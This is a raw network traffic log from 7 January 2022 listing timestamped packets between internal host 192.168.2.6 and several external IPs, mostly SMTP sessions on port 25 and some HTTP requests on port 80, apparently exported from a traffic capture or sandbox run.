Jan 7, 2022 15:44:27.002398014 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002435923 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002589941 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002602100 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002609968 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002643108 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002732038 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002744913 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002845049 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002882957 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002965927 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.002978086 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003082991 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003092051 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003159046 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003199100 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003238916 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003314972 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003360987 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003438950 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003451109 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003518105 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003557920 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003635883 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003675938 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003797054 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003878117 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.003923893 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004076958 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004281044 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004292011 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004400969 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004439116 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004477978 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004542112 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004594088 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004638910 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004781008 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004791021 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004842997 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004873037 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004914045 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004961014 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.004992008 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005076885 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005134106 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005225897 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005245924 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005280972 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005326033 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005340099 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005441904 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005486012 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005598068 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005675077 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005796909 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005836010 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005916119 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.005959034 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.006033897 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.006117105 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.006233931 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.006396055 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.037236929 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.037259102 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.037266970 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.037280083 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.037287951 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.037296057 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.037302971 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.037311077 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.037318945 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.103869915 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.144670963 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.368875980 CET	50053	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:27.493906975 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.534817934 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.534991980 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.575898886 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.575930119 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.576045990 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.577887058 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.604784966 CET	50065	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:27.616934061 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.617047071 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.617497921 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.618458986 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.618478060 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.618545055 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.619894028 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.658003092 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.658083916 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.658233881 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.659177065 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.659197092 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.659379959 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.660479069 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.660495996 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.660558939 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.660609007 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.660654068 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.699156046 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.699177980 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.699290991 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.699942112 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.700010061 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.701176882 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.701235056 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.701247931 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.701375961 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.740103960 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.740127087 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.740134954 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.740730047 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.740755081 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.781640053 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.789150000 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.789691925 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.791115999 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:27.791240931 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:30.311676979 CET	25	49934	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:30.313000917 CET	49934	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:30.313040972 CET	49934	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:30.352952957 CET	25	49934	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:30.353188038 CET	49934	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:30.436762094 CET	50080	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:30.457381964 CET	25	50080	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:30.457540035 CET	50080	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:30.618983030 CET	50065	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:30.881519079 CET	50083	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:44:30.925853014 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:30.925966024 CET	50083	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:44:30.990442991 CET	50085	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.011122942 CET	25	50085	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.011697054 CET	50085	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.074114084 CET	25	50080	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.074424028 CET	50080	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.094916105 CET	25	50080	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.099047899 CET	25	50080	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.099282026 CET	50080	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.115704060 CET	25	50085	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.115928888 CET	50085	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.119967937 CET	25	50080	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.120109081 CET	50080	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.120141029 CET	50080	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.136526108 CET	25	50085	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.136553049 CET	25	50085	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.136708021 CET	50085	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.157099009 CET	25	50085	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.157716990 CET	50085	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.158720016 CET	50085	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.178600073 CET	25	50085	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.178622961 CET	25	50085	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.178719044 CET	50085	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.178992987 CET	50085	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.179049969 CET	25	50085	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.180186033 CET	50085	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.180861950 CET	25	50080	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.342113972 CET	25	50080	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.342236042 CET	50080	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:31.343000889 CET	25	50080	195.3.96.71	192.168.2.6
Jan 7, 2022 15:44:31.343105078 CET	50080	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:44:32.054467916 CET	50091	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:32.822304010 CET	50052	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:32.983424902 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:32.983587027 CET	50083	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:44:33.028090000 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.029488087 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.029611111 CET	50083	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:44:33.074109077 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.130049944 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.130181074 CET	50083	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:44:33.174593925 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.185009956 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.185123920 CET	50083	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:44:33.185149908 CET	50083	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:44:33.185405970 CET	50098	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:44:33.227458000 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:33.227567911 CET	50098	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:44:33.229499102 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.229533911 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.229809999 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.229870081 CET	50083	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:44:33.230124950 CET	25	50083	91.136.8.41	192.168.2.6
Jan 7, 2022 15:44:33.230176926 CET	50083	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:44:35.057396889 CET	50091	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:35.284426928 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.284809113 CET	50098	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:44:35.326741934 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.328396082 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.328680992 CET	50098	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:44:35.370829105 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.400284052 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.400532007 CET	50098	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:44:35.442792892 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.449593067 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.449822903 CET	50098	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:44:35.450128078 CET	50098	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:44:35.450133085 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:35.491019011 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:35.491198063 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:35.491978884 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.492028952 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.492413044 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.492532969 CET	50098	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:44:35.492898941 CET	25	50098	91.136.8.46	192.168.2.6
Jan 7, 2022 15:44:35.493015051 CET	50098	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:44:36.619446993 CET	50065	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:37.966383934 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:37.969963074 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:38.010653019 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:38.018094063 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:38.018364906 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:38.059123039 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:39.283037901 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:39.283179998 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:39.323705912 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:39.382064104 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:39.382252932 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:39.382312059 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:39.423080921 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:39.423207045 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:39.423521042 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:39.423585892 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:39.423616886 CET	25	50101	91.136.8.47	192.168.2.6
Jan 7, 2022 15:44:39.423636913 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:39.423665047 CET	50101	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:44:41.057817936 CET	50091	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:45.392407894 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.415345907 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.464576006 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.464622021 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.464843035 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.465529919 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.512480974 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.512509108 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.512525082 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.512540102 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.512554884 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.512671947 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.512729883 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.553644896 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.553809881 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.561141968 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.561223030 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.561245918 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.561268091 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.561283112 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.561321974 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.561346054 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.561371088 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.561387062 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.561393976 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.561414957 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.561415911 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.561484098 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.561496973 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.595882893 CET	25	49998	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:45.596144915 CET	49998	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:45.596180916 CET	49998	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:45.600572109 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.600728035 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.609659910 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.609769106 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.610369921 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.610438108 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.611604929 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.611709118 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.611865044 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.611890078 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.611918926 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.611938000 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.611953974 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.611959934 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.611979961 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.611989021 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612010956 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.612070084 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.612111092 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612137079 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612169027 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612169027 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.612200975 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612205982 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.612227917 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.612236023 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612261057 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612294912 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612328053 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.612329006 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612351894 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612363100 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.612375975 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612411022 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.612490892 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.612529039 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.612557888 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.636456966 CET	25	49998	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:45.636564970 CET	49998	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:45.649013042 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.649045944 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.649060011 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.649080038 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.649153948 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.649204016 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.656538963 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.656584024 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.656611919 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.656696081 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.656752110 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.660274982 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.660398960 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.661135912 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.661272049 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.661336899 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.661392927 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.661453009 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.661494970 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.661736012 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.661817074 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662049055 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662075043 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662102938 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662131071 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662161112 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662190914 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662216902 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662225962 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662245035 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662297964 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662342072 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662347078 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662369013 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662398100 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662436008 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662445068 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662466049 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662493944 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662518024 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662523031 CET	25	49996	185.175.124.58	192.168.2.6
